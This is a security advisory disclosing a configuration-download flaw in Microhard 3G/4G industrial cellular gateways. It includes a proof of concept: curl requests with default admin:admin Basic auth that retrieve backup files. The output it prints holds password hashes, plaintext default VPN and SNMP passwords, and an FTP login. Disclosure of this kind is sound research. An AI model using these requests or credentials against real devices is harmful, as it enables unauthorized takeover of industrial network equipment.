Microhard Systems 3G/4G Cellular Ethernet And Serial Gateway Configuration Download

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Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Configuration Download  
  
  
Vendor: Microhard Systems Inc.  
Product web page: http://www.microhardcorp.com  
Affected version: IPn4G 1.1.0 build 1098  
IPn3Gb 2.2.0 build 2160  
IPn4Gb 1.1.6 build 1184-14  
IPn4Gb 1.1.0 Rev 2 build 1090-2  
IPn4Gb 1.1.0 Rev 2 build 1086  
Bullet-3G 1.2.0 Rev A build 1032  
VIP4Gb 1.1.6 build 1204  
VIP4G 1.1.6 Rev 3.0 build 1184-14  
VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196  
IPn3Gii / Bullet-3G 1.2.0 build 1076  
IPn4Gii / Bullet-LTE 1.2.0 build 1078  
BulletPlus 1.3.0 build 1036  
Dragon-LTE 1.1.0 build 1036  
  
Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution  
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb  
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control  
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial  
RS232/485/422 devices!  
  
The IPn3Gb provides a fast, secure industrial strength wireless solution that uses  
the widespread deployment of cellular network infrastructure for critical data collection.  
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!  
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It  
provides robust and secure wireless communication of Serial, USB and Ethernet data.  
  
The all new Bullet-3G provides a compact, robust, feature packed industrial strength  
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things  
to the next level by providing features such as Ethernet with PoE, RS232 Serial port  
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated  
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution  
worth looking at!  
  
The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength  
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote  
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight  
system integration and design flexibility with dual Ethernet Ports and high power  
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access  
Control Lists, the Dragon-LTE provides a solution for any cellular application!  
  
The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE  
network infrastructure for critical data communications. The VIP4Gb provides simultaneous  
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital  
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in  
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.  
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.  
  
Desc: The system backup configuration file 'IPn4G.config' in '/' directory or its respective  
name based on the model name including the similar files in '/www/cgi-bin/system.conf', '/tmp'  
and the cli.conf in '/etc/m_cli/' can be downloaded by an authenticated attacker in certain  
circumstances. This will enable the attacker to disclose sensitive information and help her  
in authentication bypass, privilege escalation and/or full system access.  
  
Tested on: httpd-ssl-1.0.0  
Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2018-5484  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5484.php  
  
  
13.03.2018  
  
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/etc/m_cli/cli.conf:  
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curl "http://192.168.1.1/cgi-bin/webif/download.sh?script=/cgi-bin/webif/system-editor.sh&path=/etc/m_cli&savefile=cli.conf" -H "Authorization: Basic YWRtaW46YWRtaW4=" |grep passwd  
% Total % Received % Xferd Average Speed Time Time Time Current  
Dload Upload Total Spent Left Speed  
100 2719 100 2719 0 0 2574 0 0:00:01 0:00:01 --:--:-- 2577  
passwd admin   
  
  
/www/IPn4G.config:  
------------------  
  
lqwrm@metalgear:~$ curl http://192.168.1.1/IPn4G.config -o IPn4G.tar.gz -H "Authorization: Basic YWRtaW46YWRtaW4="  
% Total % Received % Xferd Average Speed Time Time Time Current  
Dload Upload Total Spent Left Speed  
100 13156 100 13156 0 0 9510 0 0:00:01 0:00:01 --:--:-- 9512  
lqwrm@metalgear:~$ tar -zxf IPn4G.tar.gz ; ls  
config.boardinfo config.boardtype config.date config.name etc IPn4G.tar.gz usr  
lqwrm@metalgear:~$ cat config.boardinfo config.boardtype config.date config.name   
2012 Microhard Systems Inc.:IPn4Gb-IPn4G:v1.0.0  
Atheros AR7130 rev 2  
Thu Jul 12 12:42:42 PDT 2018  
IPn4G  
lqwrm@metalgear:~$ cat usr/lib/hardware_desc   
modem_type="N930"  
LTE_ATCOMMAND_PORT="/dev/ttyACM0"  
LTE_DIAG_PORT=""  
LTE_GPS_PORT=""  
wificard = "0"  
lqwrm@metalgear:~$ ls etc/  
config crontabs dropbear ethers firewall.user hosts httpd.conf passwd ssl  
lqwrm@metalgear:~$ ls etc/config/  
comport dhcp gpsgatetr iperf modbusd notes sdpServer twatchdog webif_access_control  
comport2 dropbear gpsr ipsec msmscomd ntpclient snmpd updatedd websockserver  
coova-chilli ethernet gpsrecorderd keepalive msshc ntrd snmpd.conf vlan wireless  
cron eurd gre-tunnels localmonitor network pimd system vnstat wsclient  
crontabs firewall httpd lte network_IPnVTn3G ping timezone vpnc  
datausemonitor gpsd ioports lte362 network_VIP4G salertd tmpstatus webif  
lqwrm@metalgear:~$ cat etc/passwd   
root:$1$fwjr710d$lOBXhRTmQk/rLLJY5sitO/:0:0:root:/:/bin/ash  
admin:$1$0VKXa1iD$.Jw20V3iH3kx6VSLjsFZP.:0:0:admin:/:/etc/m_cli/m_cli.sh  
upgrade:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1:500:500:ftpupgrade:/upgrade/upgrade:/bin/false  
at:$1$rKAtMKeY$RSLlzCp8LzEENRaBk615o/:0:0:admin:/:/bin/atUI  
nobody:*:65534:65534:nobody:/var:/bin/false  
testlab:$1$.ezacuj4$s.hoiWAaLH7G./vHcfXku.:0:0:Linux User,,,:/:/etc/testlab.sh  
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0:0:0:Linux User,,,:/:/etc/m_cli/m_cli.sh  
testingus:$1$S9c8yiFq$P96OckXNQMhpKjFoRx1sL.:1000:1000:Linux User,,,:/home/testingus:/bin/false  
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh  
  
  
/www/cgi-bin/system.conf:  
-------------------------  
  
lqwrm@metalgear:~$ curl -O http://192.168.1.1/cgi-bin/system.conf -H "Authorization: Basic YWRtaW46YWRtaW4="  
lqwrm@metalgear:~$ cat system.conf |grep -irnH "password" -A2  
system.conf:236:#VPN Admin Password:  
system.conf-237-NetWork_IP_VPN_Passwd=admin  
system.conf-238-  
--  
system.conf:309:#V3 Authentication Password:  
system.conf:310:NetWork_SNMP_V3_Auth_Password=00000000  
system.conf-311-  
system.conf:312:#V3 Privacy Password:  
system.conf:313:NetWork_SNMP_V3_Privacy_Password=00000000  
  
  
Login to FTP (upgrade:admin). In /tmp/ or /tmp/upgrade/ the system.conf (gzipped) is located.  
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